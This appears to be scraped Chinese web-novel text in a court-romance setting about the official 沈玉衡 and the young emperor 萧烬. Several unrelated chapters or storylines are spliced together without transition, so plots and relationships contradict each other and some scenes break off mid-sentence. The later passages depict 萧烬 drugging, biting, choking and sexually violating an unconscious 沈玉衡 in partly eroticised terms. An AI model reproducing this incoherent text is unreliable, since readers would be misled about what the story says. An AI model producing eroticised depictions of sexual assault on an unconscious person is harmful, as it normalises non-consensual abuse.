雪霁要取山泉水泡,宫里每日都会有人去皇宫后头的紫阳山上取,但早朝这会儿,取水的内侍还在回宫路上,关宁心里着急,却也只能等着。 昨日的山泉水倒是未曾用完,但怎么能给陛下喝隔夜水泡的茶,长九个脑袋都不够他掉的。 等了一刻钟,取水的人才回来。 关宁瞬间松了一口气,大喜道:“老天爷,可算回了,快,拿炉子出来,把水烧上!” 准备间里的小太监们听他的令,烧水的烧水,备茶叶的备茶叶,彼此配合默契,又过了差不多一刻钟还要多几分,琉璃蓝鎏金竹纹的瓷茶盏里,便倒上了雪霁茶。 关宁小心将茶盏放进托盘,双手捧着,疾步往太和殿的方向过去。 只是出来还未走几步,便碰上了下朝正要出宫的陈相如和许由。 两人正说着事,见到关宁来了,纷纷同他打了招呼。 关宁停下脚步,朝他们鞠了躬,问:“请问两位驸马,这是下朝了?” 两人对视一眼后,许由点了点头,说:“嗯,陛下这会儿应当正带着沈尚书回辰阳宫。” 回到自己的烬檀院,沈玉衡撕下桌上只剩下几张纸的历,看着上头写着的“伍”,禁不住,接着泛黄的纸一页一页地来回数了好几遍,似乎有些不相信,离原本打算离开雁都的日子,就剩下五日了。 他原本打算在冠礼后,当着群臣百官的面逼着萧烬同意他的休致,大赦天下,他的请求不会也不能被拒绝。 然后,沈玉衡一刻也不会在雁都多耽搁,直接踏上回雁都的路。 但如今——沈玉衡想起了戒尺的事,嘴抿成了一条线。 萧烬道:“倒是臣思虑不周,殿下未死,如今贸然出现在东都,被人瞧去的话,免不了会引起朝中慌乱。” 衣冠冢必然是要亲自看着去推的,若是可以,沈玉衡更希望将那戒尺直接扔进燕江,永远消失得好。但他也晓得萧烬说得在理,自己眼下并不方便以这幅模样在东都街上出现,即便能用帷帽遮挡面貌,但依旧存在着变数。 相府中同样如此,即使萧烬向自己承诺不会让任何人踏进梅园,但等萧烬花雨过去,定会有许多人在相府中进出,自己只要以沈玉衡的模样在这里待一天,就始终有暴露的可能存在。 纵使沈玉衡分外想进宫见父皇,向他诉说自己遭遇的事,但现在不是自己露面的时机,且一个已死之人忽然活生生出现,定会吓着他老人家。 啧,沈玉衡心中叹息,若是如此,能重新变回猫倒是更方便他们行事。 “这事先放着,我还有其他想要问你。”沈玉衡说。 虽然胡来了好些天,但他并没有忘记自己恢复人身时发生的事,他那时浑身难受,但是床幔中那团闪烁的亮光和脑中随之升起的佛音,定然都和自己恢复有关联。 萧烬没有瞒他的打算,之前未提只是想再过几天,他心中有一定的猜测,不过还需要印证。这番沈玉衡自己提起,他便将那个小荷包从怀中拿出来。 “这是小鱼儿给我的。”沈玉衡伸手把荷包拿到手里,当时说这是一个平安符,他拿到后便没有拆开看。 重新拿到手里捏了几下,里头装着的小圆球还在。 沈玉衡问:“怎会在你这里?” 萧烬垂着眼,替沈玉衡泡了新茶,说:“捡……碰见殿下那日,这个荷包躺下殿下身下,当时觉着殿下被人遗弃,这里头说不定装着一些殿下用的东西,就一同带回来了。” 他并未告诉沈玉衡这荷包真正的来历,不过自己亲手制的东西,又是送给特别的人,因此对这只荷包记得很深,当时一眼便认出来这是自己送出去的那只。 当真的缘由,其实该是还是猫的沈玉衡,因为荷包的关系被自己一起带了回来,后来又当真觉得小猫可爱,心里总是忍不住亲近,就一直养着了。 不过那荷包他当时捡回来便打开瞧过了,里头的舍利已经变成了齑粉,只是如今又重新变回了金玉圆润的模样。 子不语怪力乱神,萧烬想起陈执劝说自己时用的话,再看向沈玉衡时,眼神变得无边温柔起来。 沈玉衡看着明显被拆开过的结绳,有些不满:“你怎么就打开了。” 不过也就是随便一提,他倒出了里头的那颗珠子,凝神瞧了许久,方才敢确定这是一颗舍利。 整个大宁有舍利的地方只有护国寺,轻易求不来,沈玉衡又有些不确定这到底是不是楚泽渝准备后送给自己的了。 “看来定是这舍利护了殿下周全。”萧烬说,“若是日后有机会,臣原陪同殿下一道去护国寺还清了了这尘缘。” 沈玉衡疑惑:“你又怎知道这是颗舍利?” 萧烬并未慌乱,解释道:“前几年臣常去护国寺为父亲祈福,有幸见过一次。” 这其实撒了谎,若是沈玉衡对萧烬上心些便晓得。护国寺祈福少则七天,萧国公在北原关的时候,萧烬说的那段时间,他不是天天呆在宫里教导自己岚君事,就是在户部做着铁公鸡,都是离不开人的事儿。 不过沈玉衡并未发现,听了萧烬的解释后,便重新收起舍利,系好荷包,揣回自己身上。 沈玉衡说:“物归原主。” 萧烬抿了抿唇,转头看向了窗外,道:“自然。” 那日他们有了别的盘算。 虽然最近没能同萧烬私下相见,却借着关齐,偷偷来回了一张又一张的字条,沈玉衡没有扔,全存在了一个精致的螺钿盒子里,闲暇里想那人想得紧了,便如现在这般,又拿出来看一看。 拇指上的扳指也被他重新戴上,一边摩挲着,一边又看完了一回字条,妥帖收好后,取出了泛着荷香的信笺。 琢磨一夜,直到清晨才停笔。 钟伯轻敲门进来,平日里怎么也要走到床边才能得到的回应竟然立刻就有了,心里有些诧异,进来后又见沈玉衡还整齐穿戴者昨夜的一身衣裳,忧心道:“爷怎么熬了一宿?” 沈玉衡说:“写了东西,不知不觉便到这个时辰了。” “如何不今日来做,您平日本就忙碌,累坏了可如何是好。” 沈玉衡笑着摇了摇头,他倒是不累,甚至精神好极了,心情也愉快。 他招手将钟伯叫到跟前来,递给他封好的信封,说:“给荆城寄去,过段时间有喜事,陛下已经同意了,王爷回雁都来述职,顺便也带着王妃一起,到雁都来吃喜酒。” 钟伯点了点头,只当是雁都里哪家权贵家中有喜事,不疑有他地接过来,却又见沈玉衡拿出了另一个信封。 烫金红底,明晃晃的定亲书二字让钟伯觉得自己如在梦中。 “这个……”沈玉衡顿了顿,道,“我不好张扬,钟伯,您是看着玉衡长大的长辈,要劳烦您拿着进宫的腰牌,将这个送去辰阳宫。” “您……您要定亲?”钟伯有些语无伦次,脑袋却还算清醒,当即想到了方才世子爷所说的喜事,懵然问,“……是您和宫里哪位的亲事?请王爷和王妃来,也是为了此事?” 定亲书是送去辰阳宫的,钟伯便以为是要陛下出面来替对方做主,思来想去,符合条件的似乎也只有安宁公主。 果不其然,他见到沈玉衡点了头,眉目含笑,柔情满溢。 “嗯。”沈玉衡说,“是如此。” 听他这样说,钟伯也没有放下全部的心,靖南王府不该和皇室有关系的,但却不曾想,沈玉衡还没有说完话,说完之后,反倒是令他的心怎么也放不下去了。 “请王爷和王妃来吃我同陛下的喜酒。”沈玉衡说,“总要将他带给他们见一见,否则,萧烬怕是要一直坠坠,安不下心。” 萧烬承诺了什么都会答应他。 沈玉衡的恍然如窗间过马,很快的自己拉回了自己,扳指是他的底,事情还没有弄清,不该在这个时候翻开。 他重新对上萧烬的目光,不疾不徐问:“一个物件而已,这小炉是统一的制式,臣只是担心拿错,便随便拴了一个东西作区分。” 说着,他顿了顿,又道:“今日之事,不论是蒋正则,或是徐大人口中所说的靖南王府一事,都与臣有关,臣自当避嫌,故而斗胆向陛下自请禁足于家中,听候发落。” 萧烬皱了眉,似乎这回才当真生气了。 “既然如此,关齐。”萧烬说,“带沈尚书回辰阳宫,好好招待几天。” 沈玉衡猜不透他心中所想,只是默默转身。 再待三天……甚至只需要两天,自己就能出宫了。 沈听澜他们还在等着他吧。 沈玉衡该觉得高兴,可大概是氛围太压抑,连带着心情也闷闷的,像是被石头压着似的喘不过气。 思绪神游天外的时候,他刚走出寝殿,却听见身后传来“啪”的一声,瓷碗乍然碎在地上的声音。 沈玉衡吓了一跳,起初还以为是萧烬耍脾气,可回头一看,却发现少年脸色惨白,掐着自己的脖颈,艰难地倒在床边。 等沈玉衡反应过来的时候,自己已经跑到了萧烬床边,焦急拍着少年剧烈咳嗽而隆起的背。 只见萧烬猛地顿了一下,随即突然咳出一滩深红色的鲜血,刺眼的令人痛心。 第 99 章 第 99 章 99 “萧烬!”他心头猛地一紧,抓住少年的手腕想扶他起身,却发现他已经出了一手臂薄薄的汗,颤抖的幅度怎么都停不下来。 沈玉衡想冲出去喊人,刚一起身却被猛地拽住,他挣扎着回头,正对上萧烬混沌破碎的眼神。 “别走……” 血腥的气息在空气里一遍遍翻涌,他眼底的漆黑比以往都要深沉黯淡,仿佛已经被死亡的阴翳遮蔽了双瞳。 “朕无事,只是……” 屋里闷着热,沈玉衡本就宿醉的脑袋更是昏沉沉的,干脆走到窗边推开了窗,放外头饱蘸夜露的冷风进来对着自己狠狠吹了吹,彻底清醒过来。 沈康还未取热水回来,沈玉衡吹醒后,又轻轻将窗关上,脸上冷意很快便被屋里热气驱散,一如沈康走之前的模样。 康哥儿什么都好,就是这些事上太爱啰嗦,特别是前段时间他才刚刚病过,若是被他看到,免不了好一顿语重心长的说教。 沈玉衡也是不明白,两人从小一起长大,合该是意气风发的年纪,怎么沈康就歪成了如今这幅模样。 正想着,沈康便推开了门,端着放好热水的铜盆回到屋里,搁在面盆架上后,招呼沈玉衡过去。 沈玉衡拿下面盆架上干净的巾帕,擦完脸又漱了口,接过沈康递来的熏好的象牙白朝服穿上,圆领,胸前褂子绣着展翅的仙鹤,拍拍平整后,给自己腰间系上金銙蹀躞带。 沈康手里已经拿好了梳子,等着他过去坐下。 沈玉衡揉了揉自己的脸,问:“如何?可看得出来昨夜醉狠了?” “比起往日是要差些。”沈康说,“不过不打紧,外头冷,别的大人问起,爷只说是天冷冻的就行。” 官员上朝穿的衣裳是有规制的,为了面圣时得体,冬天里穿着甚至可以说是冷,只是萧烬贴心,祖宗规矩不能破,添不了衣服,便另辟蹊径,让人将太和殿弄热些,也允许他们穿狐裘大氅来,进殿前托给太监收拾好,离开时去取便是。 毕竟祖宗未说过这些做不得,言官们谏言说没有先例,也被萧烬轻描淡写搪了回去。 没有古人,他便做第一个来者。 这么几年,冬天里上朝,沈玉衡愁的从来只是要早早起床,暖被惹人流连痴迷,冷是没有冷过的。 他哪里听不出沈康还在介意昨晚他喝太多的事。 沈玉衡勾了勾唇,在铜镜面前坐下,瞧着里头当真一眼就能看出宿醉的脸唏嘘一声,说:“以往去喝酒也不见你这样,怎么康哥儿这次气性这么大?” 沈康手里的动作顿了顿,抿了抿唇,很快又如常地替他束发戴帽,说:“他毕竟是皇帝,若是酒后失言得了罚,您要属下如何同王爷王妃交代。” 话说得严重,不仅是沈康眼里沉沉,沈玉衡的眼神也黯淡下来,一如外头未亮开的天色。 “我倒是忘了,康哥比陛下还要大上两岁。”沈玉衡说,“如果是在荆城,沈伯伯应当早早替你看好了亲,我当向你赔不是才对。” 沈康诧异,手里的梳子差些没有拿稳,说:“您要赶我?” “我绝无此意,康哥儿。”沈玉衡说,回头朝他笑了笑,说,“你我完好无损地回荆城,才是圆满。” 得了这番话,沈康心里才松了下来,他是当真不知道,若沈玉衡点了头,他该如何是好。 好在沈玉衡并不是这个意思。 “对了,爷。”沈康主动揭过这一茬,提起别的事,“安宁公主昨日出来寻属下替她办事,殿下说是爷允了的,但属下还是觉得需得说给您听听。” 沈玉衡的头发已经梳好,长发顺服地贴着背,官帽上细长的帽翅平展开,比他的肩还要宽出去一小段。 他对着镜子晃了晃脑袋,确认帽翅稳稳当当后,才站起来,负手平转过来,问:“她吩咐了什么?” 萧知雨昨日只是同他说想借沈康去教教萧峋画画。 她不知从何处晓得沈康画技超然,君子六艺五德四修八雅,既然都要安排萧峋学,那她自然得寻最好的先生,画画上,便认准了沈康。 但若只是这件事,既然他已经先在萧知雨面前允了下来,沈康犯不着单独再同他禀报。 定是为了其他。 果然,沈康将梳子放下后,难得露出为难神色,说:“公主想借着为萧峋殿下启蒙画技为由,让属下去公主府时,替她查查驸马。” 沈玉衡愣了愣,未曾想竟是为了许由。 蓦的,他忽然又想起萧汀满月宴前,萧烬专程来叮嘱他的事,蹙起了眉。 寻常嫌隙,何至于偷偷摸摸去查。 沈玉衡眯了眯眼,问:“她要和离?” 沈康顿了顿,说:“她要休夫。” 真有魄力,不愧是先帝最宠爱的公主,说一便是一。 沈玉衡自是站在她这一边的,说:“去吧,听她吩咐,若非特别紧要的,便不用特意回来告诉我。” 毕竟是萧知雨的私事,她既然从最开始就没有告诉自己,沈玉衡觉得,还是不要知道那么多比较好。 “我就当不知道。”沈玉衡说,捡了自己知道的一些关系告诉沈康,“只不过康哥儿行事需得小心些,两位驸马同在工部当差,又一起升任左右侍郎,走得近,但你晓得的,远宁和安宁又一向关系不好,许由的心思又比不得陈相如深,怕被陈相如察觉,告诉给许由听。” 萧知雨和萧知雪同一年出生,同一年出嫁,但若非要论先后,从名字上便能看出了。 雁都夏天雨水多,萧知雨又生在小满,便得了个“雨”字,萧知雪则是冬季,满城铺了白,便得了“雪”。 沈玉衡曾经听萧知雨偷偷讲过,魏妃并不满意女儿的名字,满城白寓意不好,萧知雪前头又有一个哥哥,她觉得很克儿子。 可先帝定了,又早早上了天家宗谱,改是不能改的,魏妃便只好默默放在心里。 后来萧烬珏铸大错被处死,魏妃更是觉得自己当初忧虑的没错,不仅迁怒萧烬,甚至连萧知雪也不曾放过,那时远宁公主已经出嫁,也还是会被魏妃寻个理由召进宫来,静水宫门一关,外头的宫女太监听着里头责骂的声音,谁也不敢动。 沈康自是晓得两人关系不好,郑重地点了点头,说:“属下明白。” 时辰确实快到了,沈玉衡去前头院里吃完厨房准备的早点后,沈康已经将沈德子从烬檀院那边牵了过来。 在烬檀院里关了小半月,不曾出门跑路,给驴闷坏了,结结实实啃了沈康喂的五根萝卜后,蹄子撒得飞快,也亏得这会儿它拉的不是初一夜里出城时那辆破烂车,否则怕是经不住它颠。 但尽管这样,也还是快把沈玉衡颠废了,他本就宿醉未彻底好全,头晕眼花,幸而从府里出来的路不远,至宫门百步的距离时又必须下车步行走完,几乎是迫不及待地从驴车里下来了。 他身上披着大氅,手里拢着手炉,回头瞪了瞪打了响鼻的沈德子,帽翅都晃起来了,愤愤威胁道:“下次再这样,我可就要克扣你的萝卜了!” 沈德子刨了刨地,又啊啊叫了两声,极其敷衍,还甩了甩尾巴。 “哈哈,怎么这么大的人了,还同一头驴过不去。” 沈玉衡闻声,正好见到林海潮从驴车边上刚落下的骄子里出来,一样披着大氅,不过未拿手炉,满脸笑意地看着他这边,摇了摇头。 沈玉衡顿时收起神色,正经起来,朝他作揖:“林阁老。” 沈康也从车上下来,站在沈玉衡身后一步远的位置,向林海潮行礼。 “何必同我这般生分,玉衡。”林海潮摆摆手,走到他身边扶起他,上下仔细打量着,蹙眉问,“听张致和说你风寒早好了,怎的还是如此脸色?” 他本就白皙,大氅又是深色,只会衬得他更似白玉,但宿醉的关系,这等白净里掺了别的颜色,换作别人如此,倒是分辨得出是头天喝多了酒或熬了夜,落在他身上,却更像三分病气,连红痣的颜色也跟着黯淡了一些,不怪林海潮会联想到早前的风寒上。 “不妨事,沈沈阁老关心。”沈玉衡淡淡一笑,轻飘飘按下昨夜自己进宫同萧烬喝酒一事,说,“春休里躺懒了,这么早起来上朝还不太适应。” 听他如此说,林海潮便也放下了心,拍了拍他的肩膀,在大氅上发出闷闷的几道声,说:“年轻是好,先生如今觉浅,倒是真羡慕你们。” 只是,他话锋一转,又说:“但还是需得时时警醒自身,你比放歌好,他春休在府里只安分了两日,天天去外面听曲儿吃酒,仗着翰林院修撰不必上朝,昨夜子时了才满身酒气的回来。” 放歌是林闲的表字,林海潮为他取名和表字时都只是为了让他不必整日将自己困在书案前,要知劳逸相合,不曾想,林闲得了状元进了翰林院后,倒是把名字的意味发挥得淋漓尽致,劳见不到多少,几乎全是逸。 林海潮话里那安分的两日,一日是初一,林家在雁都亲戚不多,但林海潮的地位摆在那儿,客是少不了的,林闲被林海潮强行按在家里好好招待。 另一日,则是沈玉衡上门拜访的那天,这回林闲倒是主动留下的,带着沈玉衡去自己院里看自己新喂的红羽公鸡。 那鸡走路昂首挺胸,头上的肉冠又大又挺,威武神气得很,叫声清亮辽远,沈玉衡见了也极其喜爱。 林闲见状,便说等后头寻个日子一起带着去斗鸡,保管能赚一大笔零花银子。 但偏偏林海潮见不得这个,当天便令人捉了,成了桌上十分合沈玉衡胃口的辣子鸡丁。 林闲气极了,沈玉衡也感到惋惜,那道菜终究是没人动筷。 沈玉衡莞尔,说:“我倒是羡慕林闲。” 话说这里便停了,未在深入,林海潮心里过意不去,四年前的事不仅仅是沈玉衡心里的刺,同样也是林海潮的刺。 还未到宫门开的时辰,官员们陆陆续续来了,林海潮不好再等在这里,便先去了前头。 按照品级,林海潮是要排在最前面的,后面文武分列,各部尚书和将军排在一起,再后头,便是侍郎和中郎将。 往日里,沈玉衡身后都是户部左侍郎蒋正则跟着的,他四年前是户部右侍郎,本该是他来做这个尚书的,偏偏沈玉衡横插一脚,蒋正则只能左右倒一倒,但他心里倒是没有怨念,人如其名,在其位谋其职,这几年里,和沈玉衡配合得十分默契。 但今天他稍微来晚了一些,位置便被别人占了。 陈相如手里握着扇,是先帝给他和远宁公主赐婚时赠与他的,鎏金竹纹,春夏秋冬,从不离手。 “沈尚书。”陈相如出声,喊了沈玉衡,说,“今夜可否有空,想请尚书大人到公主府里坐一坐,说说话。” 说得好像之前被七八个太医下了病危通知书的人不是他一样。 萧烬微微扬起眼角,说话的声音还哑得厉害,几乎听不出原本的嗓音:“至于醒……是在有人来送药的时候?” 从他开始喂药的时候,萧烬就醒了? 停顿半拍后,沈玉衡的脸腾的一下就红了。 萧烬像是知道他心里在想什么似的,附在他耳边轻声说:“母妃亲朕的时候,朕也醒着……” 沈玉衡板着脸:“我没有亲你。” 萧烬盯着他还泛着水渍光泽的唇角:“母妃明明就是亲了朕,朕的嘴里到现在还是甜的。” “怎——” 沈玉衡想起那苦涩到令人浑身发麻的药汤,下意识要反驳他“怎么会是甜的”,话刚出口了一个字,却反映过来萧烬的意思。 他咬着唇,猛地起身,转身欲走。 刚走出去一步,却被萧烬拦腰搂住,再不能移动半步。 第 100 章 第 100 章 100 沈玉衡本不愿在此多留的,奈何萧烬搂住他的手臂缠的太紧,沉甸甸的像两条锁链。 “母妃。”他将额头抵在沈玉衡的肩上,整个人都快埋进他的颈项里:“你舍不得朕死,是不是?” 声音湿漉漉的,像淋了雨的狗。 沈玉衡刚有这样的联想,就觉得可笑,哪有狗会用锁链锁着人的。 “你误会了,我只是……”他冷着嗓音,自以为早已准备好了反驳,临到嘴边却又茫然了。 最后只能干巴巴地说了一句:“国不可一日无君。” “所以母妃才会那么……亲朕?” 沈玉衡一怔,扭过通红的脸,实在接不了这句话。 卧槽。 不、会、吧。 年轻人你这年轻人—— 沈玉衡的脸“唰”的熟了,耳根都红透了。 他多希望自己是感觉错了,但同为男人,他再清楚不过萧烬此时低沉的呼吸代表了什么了。 他对萧烬刚刚涌现出的同情与怜悯,瞬间荡然无存。 衣柜外,偏殿里偷腥的男女在欢愉过后,为了避人耳目,熄了灯便匆匆离开,连依偎的时间都没有。 奔逃的脚步声消失后,几乎是在一瞬间,沈玉衡被萧烬抱着摔了出来。 地面冰凉的刺骨,他身后的少年却带着一身滚烫暧昧的气息,几乎要将沈玉衡全都揉进这股炽热的温度。 “萧烬,那个、你先冷静冷静……” 沈玉衡抵着他不让他的脸靠近,力气却不够。 只能堪堪扭过头,试图用语言拉回他的理智。 “你看清楚我是谁?你不是一直很讨厌我吗?这些事不是和讨厌的人做的……” 萧烬看着他,没有说话。 他的皮肤泛出一层层细密的汗丝,恍若被热量炙烤到眩晕的程度。 在听见沈玉衡的话后,他眼里晦暗的颜色,更加泥泞了。 他当然认得清沈玉衡,沈妃,他如今名义上的母妃。 明明是男人,却甘愿为他父皇当个男妃,明明是他一直引诱,却又故作清白。 他做过什么,他浑然不知吗? 刹那间,沈玉衡的视线就忽然一黑。 少年骨节分明的手指按住他的双眸。 紧接着出现的,是落在他喉咙上的一阵尖锐的,伴着湿热吐息的刺痛。 “疼……!”屋檐之上。 “殿下。”死士成霄急急赶来,匆忙中跪碎了檐上的砖瓦:“萧棋逃狱了,现在正在城外招募私兵。” 然而,这个消息并没有让萧烬拉弓的姿势变化一丝一毫。 下一秒,他搭着的箭矢瞬间飞出,笔直射向宫殿里隐隐映出的一个人影。 成霄眉间划过一瞬的紧张,视线向苏澄的宫殿那儿偏了偏。 夜色寂静,并无惨叫或痛呼,不像是射中了人。 成霄暗暗松一口气。 下一秒,他的耳畔划过疾风,一支箭贴着他的耳朵飞射过去。 箭风又急又快,伤处瞬间滑下一行鲜血。 成霄瞬间变了脸色,重重一跪:“殿下恕罪!” 萧烬的下一支箭已经上弦,他双目血红,尖锐的箭矢悬在成霄头顶一指宽的位置。 “殿下恕罪!臣、臣只是觉得……” 只要错一句话,他必然万劫不复。 “……皇帝以为他抓住了您的把柄,用沈妃的安危来威胁您,您大可以带沈妃离宫,保他安危!在此之前,万不能伤到苏才人,引起他人怀疑。” 萧烬冷声反问:“为何我要保他安危?” 箭矢仍然抵在成霄的头顶。翌日。 沈玉衡又是在一阵奇怪的晕眩中醒来。 他感觉这觉真是白睡了。 明明他昨晚休息的很早啊。 怎么醒来的时候,累的像是扛着两袋大米送外卖,结果电梯坏了只能徒步20楼送货的快递小哥一样? 【宿主宿主,你今天怎么起的这么晚?又头疼了?】 “好像是。” 不光浑身累得够呛,嘴唇也肿的厉害,好像被什么虫给蛰了似的。 沈玉衡出门前,往铜镜里看了一眼,赶紧大门紧闭跑回来。 他的嘴唇不仅肿了,还有一处明显的破皮,特别像是被啃出来的。 嘴唇肿了还算正常,这个伤口又是怎么回事?! 之前遇到这些奇怪的事时,他不是没有怀疑过身边的人。 首先可以排除一个萧烬。 他虽然什么都干得出来,但是在沈玉衡看来,萧烬对自己的好感并没有多深。 他最多只是啃过他的肩膀两次,而且多半是故意给萧槐看,想要把沈玉衡赶出宫。 大半夜啃人这种事,萧槐又不知道,别人发现不了,对萧烬没有好处啊。 至于情爱之类的原因,就更不可能了。 其次,他有点怀疑周源,还有宫里几个小太监。 虽然有点对不起周源,但他是个太监,生理欲//望天生受压抑。 沈玉衡之前看过几本主角是太监的小说,都一个比一个变态。 不过,他有意无意地试探过几次,觉得周源多半是完全无辜。 否则,影帝也演不出这么自然的表现。 沈玉衡每天睡前都惴惴不安的。 他悄悄锁死门窗,那些奇怪的感觉却还是会在第二天重现。 他越来越不敢把这件事告诉谁。 以前,沈玉衡只以为是宫里的人干的。 可是他现在不在宫里啊。 妄云寺远在京郊,半山腰的地方,除了这些高僧和尚,连百姓都没有。 萧槐都吐血了,养伤都来不及,也不可能是他。 还能是谁? 沈玉衡越想越后怕,感觉后背都凉飕飕的。 ……他不会是遇到什么艳鬼了吧?!! 他浑身被冷汗浸湿,继续道:“殿下登基后,可以立沈妃为太后,将他圈禁在后宫,从而牵制沈家,最快速度调动兵权……” 这关系到大周国的七成兵权,沈玉衡还有利用的价值。 得到他,沈家就再不敢反对什么了。 萧烬曾杀过一次沈玉衡,那之后,沈家倒了,兵权分散出去,谁也不服谁,白白浪费了许多人才。 只要他用这座朱栏玉砌的赤红鸟笼,将沈玉衡一生囚禁于此,让他再无逃离之日。 他就注定只能栖息于萧烬的阴影之下,再无任何曙光可期。 “殿下不必挂心后宫这边。”成霄道:“等殿下登基后,沈妃自然会趋利避害,留在殿下身边,即便殿下复从前的仇,他也一定不敢反抗的。” “不,他会敢的。”当晚,他住的屋子里,随侍的宫女陆陆续续送来晚膳。 因为在寺庙,他们所有人,也只能跟着这些僧人们吃些全素的斋饭,以表祭祀的虔诚之心。 沈玉衡吃到一半,忽然有个小宫女敲门进来,说是萧槐让人送了一碗羹汤给他。 羹汤虽然也是素的,但是色泽鲜亮,汤面上还飘着一层浓香的蘑菇碎,鲜绿色的葱花,黄澄澄的香油,煮的很是入味。 沈玉衡喝了一口,身子一下暖和起来。 但是,也不知道是不是他错觉。 刚才那个宫女离开的时候,眼神似乎有点……奇怪? 只要沈玉衡知道,他每晚究竟都对沈玉衡做了些什么…… 萧烬唇角微微扬起,恶劣的笑容,像是孩童碾死虫蚁,纯粹的令人背脊发凉。 不顾沈玉衡的痛呼,萧烬毫无征兆地俯身咬住了他的喉咙。 虎牙抵在喉管的青筋上,毫不留情地挤压着脆弱的皮肤,和里面流淌的,微热的血。 沈玉衡终究会被他杀了的,这双他最最嫌恶的眼睛,只配零落在泥里,用最不堪最卑劣的方式死去。 “别……你、你快停下!这样是……”被剥夺的视力越发放大了恐惧,沈玉衡用力捶打着萧烬,却完全被少年压制在下。 他越挣扎扭动,少年的咬合越来越紧,像是要和他牢牢嵌在一起似的。 鲜红的血终于冲破桎梏,顺着喉咙雪白的曲线流了下来,染红了他颤抖的颈侧。 刚刚才更换的新衣,又染上了血污。 浓烈的铁锈味在萧烬口中蔓延开来,他仿佛是头嗜血饥渴的兽,将猩红的液体一并吞食入腹。 他一下下啃咬着沈玉衡,放任着自己的恶意,在他腹部涌现一股从未有过的热量,像是被蚂蚁爬过四肢百骸,令人战栗。 萧烬眼前一白。 释放带来的诡异触感如此陌生,他终于松开了口,仰起头,连掌心都渗出大颗的汗珠。 他喘着气,看见身下的男子一动不动,忽然猛地回神,去探他的鼻息。 感受到他鼻息前方喷吐出的浅浅气息,萧烬紧蹙的眉眼,总算微微舒张了一点。 沈玉衡只是晕过去了。 他没能在漫长的窒息和压迫中撑下去,半睁着的眼睛,边缘还挂着浑浊的泪痕,眸中已经失去了焦点。 身下乌发凌乱,血染的衣服杂乱敞开,露出那个已经淡的看不出印记的咬痕。 旧的痕迹还未痊愈,又被他烙下了新的痕迹。 而且……不再是胸口那种可以轻易遮住的地方。 萧烬轻轻掐住他的脖子,用指腹的纹路一点点感受伤口的凸起与凹陷。 跳动,安静,再跳动。像是在母亲的子房里听到的规律心跳。 确认沈玉衡不会醒来后,他一点点低头,再低头…… 将自己的耳朵,贴在了他的颈侧,聆听这片被自己标记的领地。 难填的欲壑,在此时终于得到一丝慰藉。 萧烬的脸色愈来愈差,忽然喘了一声,咬唇扶额:“母妃,朕头痛。” 沈玉衡还以为他是在闹脾气,但萧烬的脸色的确苍白了几分,强忍着痛苦的模样,似乎是因为愤怒牵扯到了什么痛处。 他拉住沈玉衡的手,声音沙哑:“你帮朕揉揉。” 沈玉衡犹豫了片刻,还是同意:“过来吧。” 萧烬躺在沈玉衡膝上,脑袋隔着薄薄的衣料搭在他的大腿上。 他的指尖抵在萧烬的太阳穴上,有规律地轻轻旋转揉动着,萧烬的脸色终于好了许多。 揉了许久,沈玉衡有些手酸,刚一收回手,萧烬顺势往他腿间靠了靠。 这个姿势,莫名有点…… 沈玉衡抿着唇往外挪了挪,可萧烬的身体压着他的腿,有种被拖拽着陷入泥潭的感觉。 萧烬瘦长有力的骨节按着他的大腿,微微向里掐着。 他轻笑一声,嗓音却没有一丝笑意地问沈玉衡:“是先帝吗?崔逾让你想起了先帝吗?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 100-103 第 101 章 第 101 章 101 沈玉衡愣了一下,没想到萧烬会这么说。 崔逾长得像萧槐吗? 崔逾……在官场上算是年轻,但也三十有余,的确是成熟男人的气质,和萧槐有几分相似。 沈玉衡脸上的了然令萧烬蹙眉更深。 萧槐与沈玉衡曾经亲密相贴的一幕还历历在目,当年他亲眼见到,几乎恨得发疯。 即便后来有岳枫插足,萧烬也依旧没放在眼里。 但崔逾不一样,他比沈玉衡年长…… 就像萧槐一样。 但他想到的人的确不是萧槐,所以摇头告诉萧烬:“不是。” 少年追问:“那是谁?” 与此同时。 “啪”的一声,装着酒的玉杯砸落在地,摔了个粉碎。 萧烬周围的官员们吓了一跳,宫女太监们赶紧跪到萧烬身前,收拾起来。 官员们顺着他的目光,看向了对面。 只见萧烬的视野尽头——他的父皇,萧槐,正远远坐在龙椅上。 身前,与他同坐一起的,竟是萧烬的母妃沈玉衡。 他们,什么时候又……窗外的某人离开后,萧烬的唇角露出一抹短促的,病态的笑容。 他拿手轻拍了拍沈玉衡的脸。 脸颊上白皙的肤色瞬间泛起了一片红,昏睡中的沈玉衡却只是闭着眼哼唧了一声,半张着唇。 看见他渐渐适应感受的表情,萧烬越来越过分。 沈玉衡丝毫没有醒来,只是身体颤抖的幅度更加剧烈,下意识后退,想要逃离痛处的源头。 若是知道自己这副样子,落入他人眼中,以沈玉衡的性格来说,恐怕会羞愤的想死吧。 萧烬抽出手,指尖一点晶莹的黏腻。 冰冷的月色静静洒落,他微微分开二指,仿佛是润了水的蛛丝。 喘成这样,还以为有多痛。 明明连一滴血都没有流。 他还清楚记得,第一天的时候,沈玉衡在睡梦里的挣扎非常剧烈,险些把血沾到床单上。 那日以后,萧烬稍稍收敛了一些。 他的确想看见沈玉衡痛苦不堪的样子,但是,现在还不是暴露的时候。 萧烬为他的痛苦系上无限绵延的蛛丝,他隐瞒的越深,真相越是高悬,摇摇欲坠。 他要沈玉衡在他手里粉身碎骨。 萧烬用沾着银丝的手,死死捏住沈玉衡的下颌。 “什么母妃……”谁都可以拥抱,算什么他的母妃? 萧烬嗤笑,当时,他离他那样近。 一墙之隔,沈玉衡却浑然没有察觉,一心只有怀里的孩子。 他像个真正的“母妃”似的,抱着那孩子,温声细语,顺从地接受她送来的亲吻。 萧烬的指腹用力按在沈玉衡的唇上,浑身的血液都在上涌。 越是恨,不愿回忆,越是着了魔地注意这个地方。 他看见,他们的头挨在一起,轻而快地触碰,又抽离。 接着,女孩仰起头,笑得天真浪漫。沈玉衡不好意思地摸了摸脸颊,小声提醒她不要再这样做。 萧烬按着他唇的力道瞬间加重,擦拭般地摩擦这里。 可怜的唇肉瞬间泛起一片血红的颜色,粗暴的蹂躏下,萧烬的指尖滑入了他的口中。 挂着银丝的手指混入唾液,萧烬嫌恶地皱起眉头,抽出手时,却剐蹭到脆弱的上颚内壁。 沈玉衡眼角有生理性的泪水,本能性地做出吞咽动作,发出痛苦的呜咽声。 萧烬以为自己最想看到沈玉衡这副表情,可是当真的看见时,他心里却只有一片燎原的怒火。 他凭什么痛苦? 